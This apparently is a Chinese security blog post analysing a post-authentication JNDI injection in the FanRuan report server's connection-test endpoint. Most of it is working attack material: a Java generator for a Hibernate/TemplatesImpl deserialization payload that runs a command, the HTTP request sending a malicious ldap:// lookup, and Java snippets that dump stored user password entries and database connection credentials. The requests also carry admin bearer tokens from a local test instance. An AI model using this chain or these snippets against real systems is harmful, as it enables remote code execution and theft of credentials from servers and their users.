帆软后台jndi

0x01 jndi连接

com.fr.web.controller.decision.api.config.ConnectionsResource#testConnectionData

image-20250109105746043

前端获取传参数,调用ConnectionService.getInstance().testConnection

com.fr.decision.webservice.v10.datasource.connection.ConnectionService#testConnection

image-20250109105843855

com.fr.decision.webservice.v10.datasource.connection.processor.impl.ConnectionProcessorFactory#testConnectionWithSchemaReturn

image-20250109105905537

创建一个迭代器,然后获取connectionType的类型,然后继续调用convertToConnection

image-20250109105953402

根据类型选择实现,这里选择jndi,然后看实现

com.fr.decision.webservice.v10.datasource.connection.processor.impl.JNDIConnectionProcessor#convertToConnection

image-20250109110200128

可以看见,把传入bean序列化下,然后赋值,然后进行连接。

其中最主要的几十image-20250109110440089

这个map我们可控,没有检查。所以我们可控java.naming.factory.initial, 直接进行jndi攻击。

0x02。复现

帆软使用的是高版本jdk,需要绕过。我们知道jndi是采用序列化进行通信,所以我们可以直接返回恶意的反序列化流,造成命令执行。

我们知道帆软存在Hibernate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package test;

import com.fr.third.javassist.ClassPool;
import com.fr.third.javassist.CtClass;
import com.fr.third.org.hibernate.type.ComponentType;
import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class HibernateWhithFanruan {

public static byte[] getpayload(byte[] bytes) throws Exception {
TemplatesImpl templates = getTeml(bytes);


Class clazz = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Constructor constructor = Object.class.getDeclaredConstructor();
constructor.setAccessible(true);
Constructor pojoct = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
pojoct.setAccessible(true);
Object pojoCT = pojoct.newInstance();

Class clazz1 = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
Class clazz4 = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor constructor4 = clazz4.getDeclaredConstructor(Class.class, String.class, Method.class);
Object getter = constructor4.newInstance(templates.getClass(), "outputProperties", templates.getClass().getMethod("getOutputProperties"));
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
Field f = clazz1.getDeclaredField("getters");
f.setAccessible(true);
f.set(pojoCT, getters);

Class clazz3 = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Constructor constructor2 = Object.class.getDeclaredConstructor();
constructor2.setAccessible(true);
Constructor constructor3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, constructor2);
ComponentType componentType = (ComponentType) constructor3.newInstance();
TypedValue typedValue = new TypedValue(componentType, null);
utils.setFieldValue(componentType, "componentTuplizer", pojoCT);

utils.setFieldValue(componentType, "propertySpan", 1);

HashMap<Object, String> map = new HashMap<>();
map.put(typedValue, "1jzz");
//Object template = Gadgets.createTemplatesImpl("TomcatEcho");
utils.setFieldValue(typedValue, "value", templates);


//SerialUtil.unserial(SerialUtil.serial(map));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutput = new ObjectOutputStream(byteArrayOutputStream);
objectOutput.writeObject(map);
byte[] data = byteArrayOutputStream.toByteArray();
return data;

}

public static byte[] javasistcmd(String classname,String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(classname);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\""+cmd+"\");");
byte[] bytecode = ctClass.toBytecode();
return bytecode;
}
public static TemplatesImpl getTeml(byte[] bytes) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
utils.setFieldValue(templates,"_name","moresec"+System.nanoTime());
utils.setFieldValue(templates,"_class",null);
utils.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
utils.setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
return templates;
}

public static void main(String[] args) throws Exception {
byte[] javasistcmd = javasistcmd("calc","open -a Calculator.app");
byte[] bytes = HibernateWhithFanruan.getpayload(javasistcmd);
java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream("calc.ser");
fileOutputStream.write(bytes);
fileOutputStream.close();
}
}


生成恶意字节码数据。我们只需要传入要加载的字节码就可以生成poc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /webroot/decision/v10/config/connection/test HTTP/1.1
Host: 127.0.0.1:8075
Referer: http://127.0.0.1:8075/webroot/decision
content-type: application/json
accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
x-requested-with: XMLHttpRequest
transencryptlevel: 1
Sec-Fetch-Site: same-origin
sec-ch-ua-platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Dest: empty
sec-ch-ua-mobile: ?0
Origin: http://127.0.0.1:8075
Cookie: JSESSIONID=50F25E02A74741F66FE7618DC407D32E; tenantId=default; fine_remember_login=-1; last_login_info=true; fine_auth_token=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2ODU5NSwiaWF0IjoxNzM0NjA5NzM0LCJqdGkiOiJDUFhkODYyeXRiZlZGanBHWGVxYnNSU2xIODkvNTBVaS93YUVXdC8wQy9YNEJrSGQifQ.H8_tfvKeDd8HGnIrhbMl_VW7McjPxTGV6sKCNHkEEGM
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2ODU5NSwiaWF0IjoxNzM0NjA5NzM0LCJqdGkiOiJDUFhkODYyeXRiZlZGanBHWGVxYnNSU2xIODkvNTBVaS93YUVXdC8wQy9YNEJrSGQifQ.H8_tfvKeDd8HGnIrhbMl_VW7McjPxTGV6sKCNHkEEGM
Content-Length: 383

{"connectionId":"","connectionName":"","connectionType":"jndi","connectionData":"{\"jndiName\":\"ldap://127.0.0.1:80/Object\",\"originalCharsetName\":\"\",\"newCharsetName\":\"\",\"contextHashtable\":{\"java.naming.factory.initial\":\"com.sun.jndi.ldap.LdapCtxFactory\",\"java.naming.provider.url\":\"ldap://127.0.0.1:80\"},\"creator\":\"admin\"}"}

查询sql(不要密码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
java.lang.String encsql = com.fr.security.SecurityToolbox.aesEncrypt("select USERNAME,PASSWORD from FINE_USER", com.fr.decision.webservice.v10.system.SystemService.getInstance().getSystemInfo().get("frontSeed").toString());
com.fr.base.TableData var4 = com.fr.decision.webservice.v10.datasource.dataset.processor.impl.DataSetProcessorFactory.getTableDataSet("sql", "{\"database\":\"hsqldb\",\"query\":\""+encsql+"\",\"parameters\":[]}");
com.fr.data.impl.EmbeddedTableData var11 =com.fr.data.operator.DataOperator.getInstance().previewTableData(var4, null, 200);
com.fr.decision.webservice.v10.datasource.dataset.ServerDataSetService sqlservice = new com.fr.decision.webservice.v10.datasource.dataset.ServerDataSetService();
java.lang.reflect.Method method = sqlservice.getClass().getDeclaredMethod("createPreviewResult", com.fr.data.impl.EmbeddedTableData.class);
method.setAccessible(true);
com.fr.decision.webservice.bean.dataset.PreviewResultBean result = (com.fr.decision.webservice.bean.dataset.PreviewResultBean) method.invoke(sqlservice, var11);
java.util.ArrayList sqlResult =(java.util.ArrayList) result.getRows();



java.util.Map sqlmap = com.fr.file.ConnectionConfig.getInstance().getConnectionsWithoutCheck();
java.util.Iterator var3 = sqlmap.keySet().iterator();
java.util.HashMap map = new java.util.HashMap();
while(var3.hasNext()) {
java.lang.Object key = var3.next();
com.fr.data.impl.JDBCDatabaseConnection var5 = (com.fr.data.impl.JDBCDatabaseConnection) sqlmap.get(key);
java.lang.String var6 = var5.getUser()+":"+var5.getPassword();
map.put( var5.getURL(),var6);
}
return map;




java.lang.String encsql = com.fr.security.SecurityToolbox.aesEncrypt("select USERNAME,PASSWORD from FINE_USER", com.fr.decision.webservice.v10.system.SystemService.getInstance().getSystemInfo().get("frontSeed").toString());
com.fr.base.TableData var4 = com.fr.decision.webservice.v10.datasource.dataset.processor.impl.DataSetProcessorFactory.getTableDataSet("sql", "{\"database\":\"hsqldb\",\"query\":\""+encsql+"\",\"parameters\":[]}");
com.fr.file.ConnectionConfig.getInstance().getConnectionsWithoutCheck()
//com.fr.script.Calculator var10 = com.fr.script.Calculator.createCalculator();
//var10.setAttribute(com.fr.data.TableDataSource.KEY, var4);
//java.util.HashMap map = new java.util.HashMap();
//com.fr.base.TableData var11 =(com.fr.base.TableData) var4.clone();
//com.fr.data.impl.DBTableData var14 = (com.fr.data.impl.DBTableData)var11;
//java.sql.Connection var15 = var14.getDatabase().createConnection();
//java.sql.ResultSet rs = var15.createStatement().executeQuery(var14.getQuery());
//while (rs.next()) {
// String usernameValue = rs.getString("USERNAME");
// String passwordValue = rs.getString("PASSWORD");
// if (usernameValue != null && !usernameValue.trim().isEmpty()) {
// map.put(usernameValue, passwordValue);
// }
//return map;

查看sql lib路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /webroot/decision/v10/config/connection/driver/path HTTP/1.1
Host: 127.0.0.1:8075
content-type: application/json
authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2MTQ0OCwiaWF0IjoxNzM0NjAxNDQ4LCJqdGkiOiJ3L0ZxN2pOWldtb3J2d2RyajBReU1zSW40SzVSSWZ3S3F4c0EvSkZQM1h1bm9xbW8ifQ.7-G3Y1CzRwl4DP079uY8KllAJfofbL0ri0aOMaBfzmU
sec-ch-ua-mobile: ?0
accept: application/json, text/plain, */*
Referer: http://127.0.0.1:8075/webroot/decision
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cookie: tenantId=default; fine_remember_login=-1; fine_auth_token=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInRlbmFudElkIjoiZGVmYXVsdCIsImlzcyI6ImZhbnJ1YW4iLCJkZXNjcmlwdGlvbiI6ImFkbWluKGFkbWluKSIsImV4cCI6MTczNjc2MTQ0OCwiaWF0IjoxNzM0NjAxNDQ4LCJqdGkiOiJ3L0ZxN2pOWldtb3J2d2RyajBReU1zSW40SzVSSWZ3S3F4c0EvSkZQM1h1bm9xbW8ifQ.7-G3Y1CzRwl4DP079uY8KllAJfofbL0ri0aOMaBfzmU
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate, br, zstd
x-requested-with: XMLHttpRequest
Origin: http://127.0.0.1:8075
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
sec-ch-ua-platform: "macOS"
fdl-encrypt: plaintext
Content-Length: 45

{"connectionData":"{\"driver\":\"org.sqlite.JDBC\",\"connectionPoolAttr\":{}}","connectionType":"jdbc"}

帆软后台jndi
https://unam4.github.io/2025/12/01/帆软后台jndi/
作者
unam4
发布于
2025年12月1日
许可协议